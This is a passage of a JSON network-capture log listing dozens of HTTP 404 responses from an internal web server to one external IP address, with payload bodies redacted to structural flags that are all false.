            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255886.702955000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1246",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-8a4ff9040ead97ca54b06a74",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1247,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255886.969701000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1249",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-e4133233c82216dcdfdbcbc6",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1250,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255887.236506000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1251",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 58703,
          "event_id": "evt-6ddbc21cccc1f0d39d4d4746",
          "src_port": 80,
          "tcp_stream": 35,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1252,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255888.044691000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1261",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 62210,
          "event_id": "evt-bc1d603f9c4e9b534789951a",
          "src_port": 80,
          "tcp_stream": 36,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1263,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255902.052221000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1265",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 62210,
          "event_id": "evt-fb54cd0724e52d50f0e70d10",
          "src_port": 80,
          "tcp_stream": 36,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1266,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255902.353024000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1268",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 62210,
          "event_id": "evt-982e39ddfcae585e71b62e59",
          "src_port": 80,
          "tcp_stream": 36,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1269,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255902.620778000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1271",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 62210,
          "event_id": "evt-b25f8c0a5f6a72bc67a60abd",
          "src_port": 80,
          "tcp_stream": 36,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1273,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255904.617242000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1275",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 62210,
          "event_id": "evt-408ab7a7f33fe07d9f1ff4a3",
          "src_port": 80,
          "tcp_stream": 36,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1276,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255905.651450000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1278",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 62210,
          "event_id": "evt-1c3d4d95bad75c98ad05fefa",
          "src_port": 80,
          "tcp_stream": 36,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1279,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255905.921575000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1286",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 64171,
          "event_id": "evt-470ee77dfeca10585444e089",
          "src_port": 80,
          "tcp_stream": 37,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1288,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255909.827350000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1299",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65275,
          "event_id": "evt-09bdf550e8019b05fec486f7",
          "src_port": 80,
          "tcp_stream": 39,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1301,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255918.830710000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1303",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65275,
          "event_id": "evt-f2ecccb7e1b2b5fb2b259b6b",
          "src_port": 80,
          "tcp_stream": 39,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1304,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255919.106873000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1306",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65275,
          "event_id": "evt-95022da1ec26b4b319864cb2",
          "src_port": 80,
          "tcp_stream": 39,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1307,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255919.382972000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1309",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65275,
          "event_id": "evt-d4e66c0efb755f495b8af5ff",
          "src_port": 80,
          "tcp_stream": 39,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1310,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255919.658954000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1312",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65275,
          "event_id": "evt-b0b2101e10d4c9665de77a63",
          "src_port": 80,
          "tcp_stream": 39,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1313,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255921.483594000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1315",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 65275,
          "event_id": "evt-2898ad3805f1f2abd72cf2f9",
          "src_port": 80,
          "tcp_stream": 39,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1316,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255921.760230000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1323",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50137,
          "event_id": "evt-2f0774682e91b3cfce86e503",
          "src_port": 80,
          "tcp_stream": 40,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1325,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255933.790804000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1336",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52340,
          "event_id": "evt-a1fc7dd6e1a3618c786e7c1b",
          "src_port": 80,
          "tcp_stream": 42,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1338,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255951.060933000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1346",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54484,
          "event_id": "evt-3e2f999fd0c8b28e0fa63005",
          "src_port": 80,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1348,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255963.963300000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1350",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54484,
          "event_id": "evt-a8dd321af29b1b0fb7070dd9",
          "src_port": 80,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1351,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255964.221689000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1353",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54484,
          "event_id": "evt-64b65ad978a6ebec14a186da",
          "src_port": 80,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1355,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255966.009227000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1357",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54484,
          "event_id": "evt-1f9571f084640126efa76249",
          "src_port": 80,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1358,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255966.267826000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1360",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54484,
          "event_id": "evt-fb47041e78278dece74e30ac",
          "src_port": 80,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1361,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255966.526295000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1363",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54484,
          "event_id": "evt-7b139c6a852e6b36bdf14a6d",
          "src_port": 80,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1365,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255968.122378000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1367",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54484,
          "event_id": "evt-e450719dcee5b92b80ef7e6e",
          "src_port": 80,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1368,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255969.330083000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1370",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54484,
          "event_id": "evt-0f35ec0aff414255ead29ecf",
          "src_port": 80,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1371,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255971.154832000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1373",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54484,
          "event_id": "evt-f24a7eb56ba25e2d18155072",
          "src_port": 80,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1374,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255975.154803000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1376",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54484,
          "event_id": "evt-1e1ac964471c9530cbae4762",
          "src_port": 80,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1377,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255975.413231000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1379",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 54484,
          "event_id": "evt-a837c22a1a34a5533dda0b88",
          "src_port": 80,
          "tcp_stream": 43,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1380,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255976.248917000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1391",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57806,
          "event_id": "evt-9c992372819ff70e9cffe5ae",
          "src_port": 80,
          "tcp_stream": 45,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1393,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255983.849532000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1396",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57806,
          "event_id": "evt-4bbc5af21aef5ebcfc11c6e7",
          "src_port": 80,
          "tcp_stream": 45,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1397,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255988.280495000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1399",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57806,
          "event_id": "evt-59831fec546c381706a6da32",
          "src_port": 80,
          "tcp_stream": 45,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1400,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255989.922404000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1402",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57806,
          "event_id": "evt-dc43be12dcd13a27d0c7607e",
          "src_port": 80,
          "tcp_stream": 45,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1403,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255990.290505000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1405",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57806,
          "event_id": "evt-d4ec46c33eb321d29cef7bc0",
          "src_port": 80,
          "tcp_stream": 45,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1406,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255993.598546000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1408",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57806,
          "event_id": "evt-aac78d6788efc962291c4c6f",
          "src_port": 80,
          "tcp_stream": 45,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 1409,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255994.946349000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "1411",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 57806,
          "event_id": "evt-0c16bed3be99bfc5fa7e300a",
          "src_port": 80,
          "tcp_stream": 45,
          "udp_stream": null,
